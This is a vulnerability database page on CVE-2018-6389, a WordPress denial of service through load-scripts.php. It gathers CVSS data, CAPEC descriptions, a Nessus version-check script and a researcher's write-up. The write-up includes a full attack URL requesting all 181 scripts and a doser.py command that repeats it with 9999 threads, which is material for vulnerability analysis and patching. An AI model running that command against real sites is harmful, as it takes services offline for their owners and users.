Vulnerabilities > CVE-2018-6389 - Resource Exhaustion vulnerability in Wordpress

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
HIGH
network
low complexity
wordpress
CWE-400
nessus
exploit available

Summary

In WordPress through 4.9.2, unauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • XML Ping of the Death
    An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
  • XML Entity Expansion
    An attacker submits an XML document to a target application where the XML document uses nested entity expansion to produce an excessively large output XML. XML allows the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
  • Inducing Account Lockout
    An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user. Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts. An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account. The weakness that is being leveraged by an attacker is the very security feature that has been put in place to counteract attacks.
  • Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))
    XML Denial of Service (XDoS) can be applied to any technology that utilizes XML data. This is, of course, most distributed systems technology including Java, .Net, databases, and so on. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. There are three primary attack vectors that XDoS can navigate Target CPU through recursion: attacker creates a recursive payload and sends to service provider Target memory through jumbo payloads: service provider uses DOM to parse XML. DOM creates in memory representation of XML document, but when document is very large (for example, north of 1 Gb) service provider host may exhaust memory trying to build memory objects. XML Ping of death: attack service provider with numerous small files that clog the system. All of the above attacks exploit the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.

Exploit-Db

descriptionWordPress Core - 'load-scripts.php' Denial of Service. CVE-2018-6389. Dos exploit for PHP platform. Tags: WordPress Core
fileexploits/php/dos/43968.py
idEDB-ID:43968
last seen2018-02-05
modified2018-02-05
platformphp
port
published2018-02-05
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/43968/
titleWordPress Core - 'load-scripts.php' Denial of Service
typedos

Nessus

NASL familyCGI abuses
NASL idWORDPRESS_4_9_5.NASL
descriptionAccording to its self-reported version number, the WordPress application running on the remote web server is prior to 4.9.5. It is, therefore, affected by multiple vulnerabilities.
last seen2020-06-01
modified2020-06-02
plugin id109034
published2018-04-13
reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/109034
titleWordPress < 4.9.5 Multiple Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(109034);
  script_version("1.10");
  script_cvs_date("Date: 2019/11/08");

  script_cve_id("CVE-2018-6389", "CVE-2018-10102");

  script_name(english:"WordPress < 4.9.5 Multiple Vulnerabilities");
  script_summary(english:"Checks the version of WordPress.");

  script_set_attribute(attribute:"synopsis", value:
"A PHP application running on the remote web server is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"According to its self-reported version number, the WordPress
application running on the remote web server is prior to 4.9.5. It is,
therefore, affected by multiple vulnerabilities.");
  # https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1f28948e");
  script_set_attribute(attribute:"solution", value:
"Upgrade to WordPress version 4.9.5 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-10102");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2018/04/03");
  script_set_attribute(attribute:"patch_publication_date", value:"2018/04/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/04/13");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("www/PHP", "installed_sw/WordPress", "Settings/ParanoidReport");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("vcf.inc");
include("http.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

if (report_paranoia < 2) audit(AUDIT_PARANOID);

app = "WordPress";
port = get_http_port(default:80, php:TRUE);

app_info = vcf::get_app_info(app:app, port:port, webapp:TRUE);
vcf::check_granularity(app_info:app_info, sig_segments:2);

constraints = [
  { "fixed_version":"3.7.26", "fixed_display" : "3.7.26 / 4.9.5" },
  { "min_version":"3.8", "fixed_version":"3.8.26", "fixed_display" : "3.8.26 / 4.9.5" },
  { "min_version":"3.9", "fixed_version":"3.9.24", "fixed_display" : "3.9.24 / 4.9.5" },
  { "min_version":"4.0", "fixed_version":"4.0.23", "fixed_display" : "4.0.23 / 4.9.5" },
  { "min_version":"4.1", "fixed_version":"4.1.23", "fixed_display" : "4.1.23 / 4.9.5" },
  { "min_version":"4.2", "fixed_version":"4.2.20", "fixed_display" : "4.2.20 / 4.9.5" },
  { "min_version":"4.3", "fixed_version":"4.3.16", "fixed_display" : "4.3.16 / 4.9.5" },
  { "min_version":"4.4", "fixed_version":"4.4.15", "fixed_display" : "4.4.15 / 4.9.5" },
  { "min_version":"4.5", "fixed_version":"4.5.14", "fixed_display" : "4.5.14 / 4.9.5" },
  { "min_version":"4.6", "fixed_version":"4.6.11", "fixed_display" : "4.6.11 / 4.9.5" },
  { "min_version":"4.7", "fixed_version":"4.7.10", "fixed_display" : "4.7.10 / 4.9.5" },
  { "min_version":"4.8", "fixed_version":"4.8.6", "fixed_display" : "4.8.6 / 4.9.5" },
  { "min_version":"4.9", "fixed_version":"4.9.5", "fixed_display" : "4.9.5" }
];

vcf::check_version_and_report(
  app_info:app_info,
  constraints:constraints,
  severity:SECURITY_WARNING
);

Packetstorm

Seebug

bulletinFamilyexploit
descriptionAccording to wordpress.com, the WordPress platform powers 29% of the worldwide internet websites. In this article I am going to explain how Denial of Service can easily be caused to almost any WordPress website online, and how you can patch your WordPress website in order to avoid this vulnerability being exploited. It is important to note that exploiting this vulnerability is illegal, unless you have permission from the website owner. While browsing a WordPress website, my attention was drawn to the following URL: https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1 The load-scripts.php file receives a parameter called load[], the parameter value is 'jquery-ui-core'. In the response, I received the JS module 'jQuery UI Core' that was requested, as demonstrated in the following image: ![](https://images.seebug.org/1517995760654) What can be concluded from this URL, is that it is probably meant to supply users with some JS modules. In addition, the load[] parameter is an array, which means that it is possible to provide multiple values and be able to get multiple JS modules within the response. As WordPress is open-source, it is easy to perform code review and explore this feature. After doing so, I realized that this feature was designed to economize the amount of requests sent from the client while trying to load JS or CSS files, so when the browser needs to load multiple JS/CSS files, it will use load-scripts.php (for JS) or load-styles.php (for CSS files) and the browser will get multiple JS/CSS files through a single request- so performance-wise it is better to do so and the page will load faster. This feature was designed only for the admin pages, but is also used on the wp-login.php page, so no authentication is enforced on these files. First, I tried to manipulate this feature and provide a list of the 'jquery-ui-core' value multiple times as follows: https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1 I thought I might make the server read the same file over and over again and append it to the same response, but the use of the 'array_unique' function removes duplicates in arrays so that didn’t succeeded: ![](https://images.seebug.org/1517995796382) I kept exploring the code and found something that looked interesting in the following code snippet, which I wanted to investigate further: ![](https://images.seebug.org/1517995832307) There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user. The wp_scripts list is hard-coded and is defined in the [script-loader.php](https://github.com/WordPress/WordPress/blob/master/wp-includes/script-loader.php) file: ![](https://images.seebug.org/1517995850574) There are 181 values in this list: ``` eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter ``` I wondered what would happen if I sent the server a request to supply me every JS module that it stored? A single request would cause the server to perform 181 I/O actions and provide the file contents in the response. So I tried it, I sent the request to the server: ![](https://images.seebug.org/1517995893104) The server responded after 2.2 seconds, with almost 4MB of data, which made the server work really hard to process such a request. So I decided to use [doser.py](https://github.com/quitten/doser.py), a simple tool that I wrote, designed to constantly repeat requests (yes, I know Python threads suck, but I still love Python!) in order to cause DoS, and guess what? it worked! :) ``` python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999 ``` As long as I kept sending those requests to the server, it was too busy to handle any other request, and I had effectively (and easily) caused DoS. It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so. After ~500 requests, the server didn't respond at all any more, or returned 502/503/504 status code errors like: ![](https://images.seebug.org/1517995973428) ![](https://images.seebug.org/1517995983882) ![](https://images.seebug.org/1517995995669) Full PoC video: https://youtu.be/nNDsGTalXS0 WordPress has a bug bounty program, and I contacted them about this issue, even though I knew DoS vulnerabilities are out-of-scope, I reported it through HackerOne and explained the vulnerability, I thought they would understand that there is a security issue here and properly address it. After going back and forth about it a few times and my trying to explain and provide a PoC, they refused to acknowledge it and claimed that: "This kind of thing should really be mitigated at the server or network level rather than the application level, which is outside of WordPress's control." Even though I was extremely frustrated about them not acknowledging this as a vulnerability, I kept on exploring how I can mitigate this attack, and forked WordPress project and patched it so no one but authenticated users can access the `load-*.php` files, without actually harming the wp-login.php file functionality. So if you are currently using, or are about to use, WordPress, I would highly recommend you use the patched version. In case you already have a WordPress website on a Linux machine, I created this bash script that modifies the relevant files in order to mitigate the vulnerability.
idSSV:97129
last seen2018-06-26
modified2018-02-07
published2018-02-07
reporterMy Seebug
sourcehttps://www.seebug.org/vuldb/ssvid-97129
titleWordPress Core - 'load-scripts.php' Denial of Service(CVE-2018-6389)

The Hacker News

idTHN:4C1AA050916A4EAA3D2C993C0287B604
last seen2018-02-05
modified2018-02-05
published2018-02-05
reporterMohit Kumar
sourcehttps://thehackernews.com/2018/02/wordpress-dos-exploit.html
titleUnpatched DoS Flaw Could Help Anyone Take Down WordPress Websites